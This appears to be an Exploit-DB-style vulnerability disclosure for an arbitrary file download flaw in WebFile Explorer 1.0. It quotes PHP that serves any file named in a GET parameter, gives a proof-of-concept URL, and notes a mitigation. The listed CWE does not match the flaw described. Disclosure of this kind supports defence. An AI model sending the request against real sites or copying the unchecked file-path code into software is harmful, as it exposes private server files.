WebFile Explorer 1.0 - Arbitrary File Download

vendor:

WebFile Explorer

by:

Ihsan Sencan

7,5

CVSS

HIGH

Arbitrary File Download

434

CWE

Product Name: WebFile Explorer

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:speicher:webfile_explorer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2017

WebFile Explorer 1.0 – Arbitrary File Download

The security obligation allows an attacker to arbitrary download files. Proof of Concept: http://localhost/[PATH]/web-file-explorer/download.php?id=WebExplorer/[FILE]

Mitigation:

Ensure that user input is validated and sanitized before being used to access files.

Source

Exploit-DB raw data:

# # # # #
# Exploit Title: WebFile Explorer 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 09.08.2017
# Vendor Homepage : http://speicher.host/
# Software Link: https://codecanyon.net/item/webfile-explorer/20366192/
# Demo: http://speicher.host/envato/codecanyon/demo/web-file-explorer/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
# 1	.............
# 2	$file = $_GET['id'];
# 3	
# 4	if (file_exists($file)) {
# 5	    header('Content-Description: File Transfer');
# 6	    header('Content-Type: application/octet-stream');
# 7	    header('Content-Disposition: attachment; filename="'.basename($file).'"');
# 8	    header('Expires: 0');
# 9	    header('Cache-Control: must-revalidate');
# 10 .............
# Proof of Concept:
# http://localhost/[PATH]/web-file-explorer/download.php?id=WebExplorer/[FILE]
# 
# Etc...
# # # # #